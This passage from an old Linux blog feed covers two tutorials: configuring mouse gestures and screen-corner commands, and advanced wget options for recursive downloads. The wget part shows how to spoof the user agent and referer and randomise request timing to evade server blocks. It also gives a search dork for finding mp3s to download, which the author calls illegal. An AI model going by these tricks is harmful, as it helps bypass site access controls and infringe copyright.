to be a command or keyboard shortcut (or something else) and then assign the mouse gesture. And That&#8217;s it. All done.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Let&#8217;s tune it finely</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">There is huge heap of commands and shortcuts to be assigned, but be ware, don&#8217;t assign too much of them or things may go wrong anytime. Try it and you will know what I mean :P .</div><div style="text-align: justify;">Here is a short list of frequently used shortcuts :</div><div style="text-align: justify;"><br /></div><blockquote><div style="text-align: justify;">Maximize: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Alt + F10</div><div style="text-align: justify;">Unmaximize: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Alt + F5</div><div style="text-align: justify;">Minimize: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Alt + F9</div><div style="text-align: justify;">Close: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Alt + F4 &nbsp; (everyone knows that)</div><div style="text-align: justify;">Show Desktop: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Super + D</div></blockquote><div style="text-align: justify;"><br /></div><div style="text-align: justify;">&nbsp;And now some for our favorite Web Browser and Nautilus:</div><br /><blockquote><div style="text-align: justify;">Back: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Alt + Left</div><div style="text-align: justify;">Forward: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Alt + Right</div><div style="text-align: justify;">Open New Tab: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Ctrl + T</div><div style="text-align: justify;">Close Tab: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Ctrl + W</div><div style="text-align: justify;">Open recently closed Tab: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Shift + Ctrl + T&nbsp;</div><div style="text-align: justify;">Next Tab : &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Ctrl + PgDown</div><div style="text-align: justify;">Previous Tab: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Ctrl + PgUp</div></blockquote><div style="text-align: justify;">All you have to do is assigning them to mouse movement of your choice. &nbsp;</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><b><span class="Apple-style-span" style="font-size: large;">Google It&nbsp;</span></b></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Yes we can assign a gesture to search the selected text on Google. For this we need to install &#8220;xsel&#8221; (X selection from Command line):</div><blockquote style="text-align: justify;"><code> sudo apt-get install xsel </code></blockquote><div style="text-align: justify;">Once installed, Add a new Action in Easystroke and set it to be a Command. In the Command Field enter this line:</div><blockquote style="text-align: justify;">&nbsp;google-chrome &#8220;http://www.google.co.uk/search?sourceid=chrome&amp;ie=UTF-8&amp;q=`xsel -p | tr [:space:] +`&#8221;</blockquote><div style="text-align: justify;">Here google-chrome can be replaced with Firefox (if you are using that) and in case you don&#8217;t want to search it on Google it can be changed. As you&#8217;d have noticed, the basic syntax is:</div><blockquote style="text-align: justify;">Browser &#8220;URL&#8221;</blockquote><div style="text-align: justify;">&nbsp;To fill in URL, search something on site of your choice (say Youtube) for &#8220;Test&#8221; and replace word &#8220;test&#8221; in the url (<i>http://www.youtube.com/results?search_query=<b><u>test</u></b>&amp;aq=f</i>)&nbsp;with&nbsp;`xsel -p | tr [:space:] +`.&nbsp;</div><div style="text-align: justify;">Same can be done for Google Images, News, Videos, Yahoo etc etc.&nbsp;</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><b><span class="Apple-style-span" style="font-size: large;">Bind the corners:</span></b></div><div style="text-align: justify;"><br /></div><a href="http://1.bp.blogspot.com/-MliKqQd7dsw/Tl5hPlWY7DI/AAAAAAAAAKs/Es4M_9x28pI/s1600/screenshot6.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: justify;"><img border="0" height="129" src="http://1.bp.blogspot.com/-MliKqQd7dsw/Tl5hPlWY7DI/AAAAAAAAAKs/Es4M_9x28pI/s320/screenshot6.png" width="320" /></a><br /><div style="text-align: justify;">In addition to mouse gestures, there is one more thing I want to add. I am using it for a long time ( and most&nbsp;probably&nbsp;you too), I just wanted to add here.&nbsp;</div><br /><div style="text-align: justify;">It is assigning the corners of screen to run specific commands. If you have experienced Gnome 3, you know what it mean. What we do is that we bind corners so that whenever mouse is moved to very the very corner, a certain command is run (it may be opening Web Browser or Home folder or something else).</div><div style="text-align: justify;">If you are using Compiz than:</div><div class="separator" style="clear: both; text-align: center;"></div><div style="text-align: justify;"><br /></div><div class="separator" style="clear: both; text-align: center;"></div><div style="text-align: left;"></div><ol style="text-align: left;"><a href="http://2.bp.blogspot.com/-pQD_xKvzrD4/Tl5g7Y7uKUI/AAAAAAAAAKo/d7zIJwv5Bbk/s1600/screenshot4.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em; text-align: justify;"><img border="0" height="115" id=":current_picnik_image" src="http://2.bp.blogspot.com/-pQD_xKvzrD4/Tl5g7Y7uKUI/AAAAAAAAAKo/d7zIJwv5Bbk/s200/screenshot4.png" width="200" /></a><li style="text-align: justify;">Install &#8220;Compiz Fusion&#8221; and &#8220;Compizconfig Settings manager&#8221; from Synaptic Package manager.&nbsp;</li><li style="text-align: justify;">Run Compiz configuration settings manager</li><li style="text-align: justify;">Search for &#8220;Commands&#8221; and enable it</li><li style="text-align: justify;">Enter commands in appropriate boxes</li><li style="text-align: justify;">Bind them with suitable edges under &#8220;Bind Edge&#8221; button.</li></ol><div style="text-align: justify;">In case you are not using Compiz, then you can install Bridgeside,</div><br /><blockquote style="text-align: justify;"><code>sudo apt-get install brightside</code></blockquote><br /><div style="text-align: justify;">It is very simple to use and configure, so I will not explain it here : )</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Hope you enjoyed this post. Thanks for visiting !! :)<br /><br /><hr \="" /><br /><b><i>Circle Beat Of The Geek on</i></b>&nbsp;<a href="https://plus.google.com/109838896781876000861" target="_blank">Google Plus</a><br /><i><b>OR Like us on</b></i>&nbsp;<a href="https://www.facebook.com/pages/Beat-Of-The-Geek/251813454834549" target="_blank">Facebook</a>&nbsp;<b><i>&nbsp;OR Follow on</i></b>&nbsp;<a href="https://twitter.com/#!/beatofthegeek" target="_blank">Twitter</a><br /></div></div></div>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/TBKbnHgbVcs" height="1" width="1" alt=""/>http://\.github.io/\/github/2011/08/finetune-ui-with-mouse-gestures.html2011-08-21T00:00:00+05:30http://.github.io/\/github/2011/08/download-in-geek-style-use-wget-part-2<div class='post'>
<div dir="ltr" style="text-align: left;" trbidi="on">Hello there ! !<br />After our last <a href="http://channikhabra.blogspot.com/2011/08/download-in-geek-style-use-wget-part-1.html">article on Introduction to wget for Linux newbies</a>, it is time to advance a little further. In this article &nbsp;we&#8217;ll discuss advanced usage of Wget.<br />Let&#8217;s start with Wget&#8217;s most wanted command:<br /><br /><span class="Apple-style-span" style="font-size: 19px; font-weight: bold;"><b><span class="Apple-style-span" style="color: #6aa84f; font-size: small;"></span></b></span><br /><b><span class="Apple-style-span" style="color: #6aa84f;">Downloading Recursively (-r switch)</span></b><br /><div><span class="Apple-style-span" style="color: #6aa84f;"><b><br /></b></span>Wget can download recursively, following all the links it meet in the way of downloading process. For example, you are reading an online book (ebook of course), which has links to further chapters. Using this command you can easily download all the pages of the ebook with a single command making your own copy of the ebook to be read offline. Even better, doing some Google we can download as many mp3s or other files as we want, all in a single command.<br />Excited ? (I know you are)<br />All right, enough talking.<br /><span class="Apple-style-span" style="color: #6aa84f; font-weight: bold;"></span><br /><hr /><br /><!-- more --><br /><br /><span class="Apple-style-span" style="color: #6aa84f; font-weight: bold;"><span class="Apple-style-span" style="font-size: large;">How to download recursively</span></span><br /><br /><code> wget -r -l 7 --no-parent&nbsp;</code><span class="Apple-style-span" style="font-family: monospace;">-A pdf,djvu&nbsp;</span><span class="Apple-style-span" style="font-family: monospace;">-nH &#8211;cut-dirs=4 -P &#8220;My download directory&#8221; &#8220;Link to download page&#8221;&nbsp;</span><br />&nbsp;<b>Time for some explanations:</b><br /><b><span class="Apple-style-span" style="color: #6aa84f;">-r or &#8211;recursive</span>&nbsp; &nbsp;</b>This switch tell wget to start downloading recursively from the link given.<br /><br /><b><span class="Apple-style-span" style="color: #6aa84f;">-l or &#8211;level=&#8217;depth&#8217;</span></b> &nbsp; &nbsp;When downloading recursively, wget follows a system of levels. This denotes the levels of depth to which wget will follow links.<br />As in above example when we start a download from page 1 with level stated to be 7, wget download main page first. After this it follows all the links given on the page. This is level one. After downloading everything, wget starts following links given in downloaded pages. This is level 2. Similarly wget will download everything &nbsp;following every link it meet in the way until it reaches maximum depth.<br />By default, wget sets depth level to be 5. It can also be set to infinite<br /><blockquote><code>wget -r -l inf "download link" </code> or <code>wget -r l 0 "link"</code></blockquote><br /><span class="Apple-style-span" style="color: #6aa84f;"><b>&#8211;no-parent or -np </b></span>&nbsp; Wget&#8217;s recursive download is bidirectional. It means wget follows link in both directions of link&nbsp;hierarchy (err&#8230; what is that?).<br />Let&#8217;s see an example. Assume we are downloading free ebooks from a website, say example.com/ebooks/english/list.html . So&nbsp;&nbsp;what we want is downloading English books only. But by default, wget will follow all links on list.html BUT it will also move upwards and follow links it find there. This is not what we want.<br />SO here is &#8211;no-parent. It is a very useful command which ensures that we download only downwards the hierarchy and don&#8217;t go upwards. <br /><br /><span class="Apple-style-span" style="color: #6aa84f;"><b>Download specific file types (-A &#8216;filetype or list&#8217; or &#8211;accept=&#8221;list of filetypes&#8221;)</b></span> &nbsp; &nbsp;When downloading ebooks from our kind website, we don&#8217;t want any HTML,CSS or Javascript files to be downloaded. By default, wget will download everything including images, scripts &nbsp;and everything. -A or &#8211;accept switch allow us to download only desired files. In the example, we want only .pdf and .djvu files to be downloaded, and wget will do that, strictly following our orders. Multiple filetypes can be given separated by commas.<br /><br /><span class="Apple-style-span" style="color: #6aa84f;"><b>-R &#8220;list of filetypes&#8221; or &#8211;reject=&#8221;filetypes&#8221;</b></span> &nbsp; Similar to -A is -R. While -A accepts some files and rejects others -R, rejects some given filetypes and download everything else.<br /><br /><span class="Apple-style-span" style="color: #6aa84f;"><b><u>Handling Directories</u></b></span><br /><br /><span class="Apple-style-span" style="color: #6aa84f;"><b>-P &#8220;path&#8221; or &#8211;directory-prefix=&#8221;path&#8221; </b></span>&nbsp; As stated in <a href="http://channikhabra.blogspot.com/2011/08/download-in-geek-style-use-wget-part-1.html">previous article</a>, -P can be used to redirect downloaded file to some specific path.<br /><br />But when downloading recursively, there is one problem. Wget saves all the files in the same directory hierarchy as they were on the server. As in our example, by default all files will be saved as this,<br /><blockquote>&nbsp;Home Folder&gt; example.com &gt; ebooks &gt; english&gt; file.pdf</blockquote>This behavior can be very irritating for normal users like us. But no worries, wget provides many options to handle this our own way. Here are some most commonly used ones.<br /><br /><span class="Apple-style-span" style="color: #6aa84f;"><b>&#8211;cut-dirs=x </b></span>&nbsp; &nbsp;This is useful command for controlling the directory structure of the location where recursively downloaded files will be saved. It cut the &#8220;x&#8221; directory components from the hierarchy.<br /><br /><span class="Apple-style-span" style="color: #6aa84f;"><b>&#8211;nH or &#8211;no-host-directories</b></span> &nbsp; &nbsp;This command cuts the name of host from directory structure. In other words, it disables generation of host prefixed directories.<br /><br /><span class="Apple-style-span" style="color: #6aa84f;"><b>-nd or &#8211;no-directories</b></span> &nbsp; It suggests wget to not to use any directory structure at all and save all the files in open (by default) or in the folder specified by -P command.<br /><br /><b>Example:</b><br />Assume that we are recursively downloading (pdf) files from example.com/ebooks/english, then this is how they will be saved on our PC with different commands&#8230;<br /><br /><blockquote>No options &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;example.com/ebooks/english/file.pdf<br />-nH &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ebooks/english/file.pdf<br />-nH &#8211;cut-dirs=1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;english/file.pdf<br />&#8211;cut-dirs=1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;example.com/english/file.pdf</blockquote>Got it ?&#8230;.Good&#8230; : )<br /><br /><span class="Apple-style-span" style="color: #6aa84f;"><b>Making readable Offline Copies of Websites</b></span><br /><span class="Apple-style-span" style="color: #6aa84f;"><b><br /></b></span>It is really easy to make offline copies of websites, just start a recursive download and it is done. No it is not.<br />&nbsp;Think of the links given on pages. For example, if we download an ebook (HTML files) which has links to next chapters and other such links, all of them point to pages available on server, like &nbsp;an ebook at &#8220;example.com/onlinebook/contents&#8221; will have link to chapter 1 like this, &#8220;example.com/onlinebook/chapter1&#8221;. Even in an offline copy (that we have made using wget), clicking on this link will take us online to the server. But this is not what we want.<br /><div>Again, no worries, wget has a solution for this.</div><div><br /></div><div><span class="Apple-style-span" style="color: #6aa84f;"><b>-k or &#8211;convert-links</b></span>&nbsp; &nbsp; This is an extremely useful option which converts all the links in downloaded pages to their local copies (if they are downloaded). In case HTML files have link to the content which has not been downloaded, wget will convert those links to their absolute location (internet of course). This ensures that there are no broken links and make local viewing smooth.</div><div><br /></div><div><span class="Apple-style-span" style="color: #6aa84f;"><b>-p or &#8211;page-requisites </b></span>&nbsp; &nbsp; As all other wget commands, this is also a very useful command which help to download all the files which are necessary for proper display of a page. It downloads everything (images, sounds, style sheet references etc) which are necessary for proper display of page even if they are located on different websites.<br /><br /><b><span class="Apple-style-span" style="color: #6aa84f; font-size: large;">When She said NO !!</span></b><br /><br />Sometimes web servers don&#8217;t allow tools like wget to access &nbsp;their data and hence we can&#8217;t download from such servers. But as I am saying from very&nbsp;<a href="http://channikhabra.blogspot.com/2011/08/download-in-geek-style-use-wget-part-1.html">beginning</a>, wget has a way for everything (almost). Here are some useful commands which can be used to get access when the server says no and tempt to kick your ass.<br /><br /><span class="Apple-style-span" style="color: #6aa84f;"><b>-U &#8220;agent&#8221; or &#8211;user-agent=&#8221;agent&#8221; </b></span>&nbsp; &nbsp;When wget access a file on a HTTP server, it identifies itself by sending a user agent string (header field). It is like it says to server, &#8220;Hey baby, this is wget. Wassup ?&#8221;. But sometimes HTTP servers deny connections to some agents (web browser, wget etc are all agents which allow us access Internet through protocols) or only allow some specific agents to access their data. We can fool the server by changing the user agent string. The command looks like this:<br /><blockquote><code>wget -U "Mozilla/5.0"</code>&nbsp;or&nbsp;<code>wget --user-agent="Mozilla/5.0"</code></blockquote>Here Mozilla is name of agent and 5.0 is version number. What we are doing is, changing user ID to look as if it was sent by your browser or at least hide the fact that it is sent by wget.<br />Actual User ID string is &nbsp;pretty long and carry more information, but this much is fine for fooling most web servers. We can also say wget to not to send any user ID with this command:<br /><blockquote><code>wget --user-agent=""</code>&nbsp; &nbsp;</blockquote><span class="Apple-style-span" style="color: #6aa84f;"><b>&#8211;referer=url </b></span>&nbsp; &nbsp;This command includes the &#8220;Referer: url&#8221; in the HTTP request. Sometimes servers expect that their data is always accessed by web browsers which are always sent by some page which points to them. This command is not used often, but may be useful in some particular case.<br /><br /><span class="Apple-style-span" style="color: #6aa84f;"><b>&#8211;http-user=user and &#8211;http-password=password</b></span> &nbsp; In case you have an account on the server and server needs username and password to authenticate the request, these commands are to be used. Similar commands are <b>&#8211;ftp-user=user</b> and <b>&#8211;ftp-password=password</b> for ftp servers and <b>&#8211;user=user</b> and <b>&#8211;password=password</b> for both http and ftp servers. Latter two have lower preference than first two command sets.<br /><br /><span class="Apple-style-span" style="color: #6aa84f;"><b>-w seconds or &#8211;wait=seconds </b></span>&nbsp; &nbsp; This command wait for given number of seconds between two consecutive downloads thus decreasing the load on the server. Instead of in seconds, time can be given in minutes with &#8220;m&#8221; suffix or in hours or even in days with &#8220;h&#8221; and &#8220;d&#8221; suffices. Large values can be useful in case destination server is down, giving wget enough time to retry and wait till it is up again.<br /><br /><span class="Apple-style-span" style="color: #6aa84f;"><b>&#8211;random-wait </b></span>&nbsp; Sometimes, web servers do analyse the traffic coming to them and find out if automatic tools like wget access them. They usually count the time between requests they&nbsp;receive&nbsp;and deny further requests, &#8211;random-wait switch allows us to make wget wait for random time between&nbsp;consecutive&nbsp;downloads and fooling the server.<br />This option causes the&nbsp;time between requests to vary between 0.5 and 1.5 * wait seconds,where wait was specified using the &#8211;wait option, in order to mask&nbsp;Wget&#8217;s presence from such analysis.<br /><div><br /></div><div><span class="Apple-style-span" style="color: #6aa84f;"><b>Unleash the power of Google</b></span><br /><span class="Apple-style-span" style="color: #6aa84f;"><b><br /></b></span></div>Google too has a syntax like *nix commands, which can be used for finding desired results from over billions of pages on Internet. We can get just what we want if we use it smartly. Here we want a pure list of downloadable files, which we can download with wget. Just enter this string in Google Search Bar and hit enter:</div><div><blockquote><i>intitle:&#8221;index of/&#8221; mp3 &#8220;your favorite band&#8221; parent directory</i></blockquote>This will give links to pages which only have links to mp3 files of your favorite band ready to download. This link can be passed to wget for a recursive download with required recursion depth to&nbsp;successfully&nbsp;get what we want. Tinker with above search string to get other kind of stuff, may be videos, ebooks or whatever.<br />(This is meant for educational purposes only. Downloading this way is not legal. Use at your own risk&#8230; :P)<br /><br />Wget has much more than this. Refer to wget manual pages for more advanced and&nbsp;insight&nbsp;information.<br />HAPPY HACKING&#8230; :D<br /><br /><hr style="text-align: justify;" /><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><b><i>Circle Beat Of The Geek on</i></b>&nbsp;<a href="https://plus.google.com/109838896781876000861" target="_blank">Google Plus</a></div><div style="text-align: justify;"><i><b>OR Like us on</b></i>&nbsp;<a href="https://www.facebook.com/pages/Beat-Of-The-Geek/251813454834549" target="_blank">Facebook</a>&nbsp;<b><i>&nbsp;OR Follow on</i></b>&nbsp;<a href="https://twitter.com/#!/beatofthegeek" target="_blank">Twitter</a></div></div></div></div></div>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/TOpyDaFmJxk" height="1" width="1" alt=""/>http://\.github.io/\/github/2011/08/download-in-geek-style-use-wget-part-2.html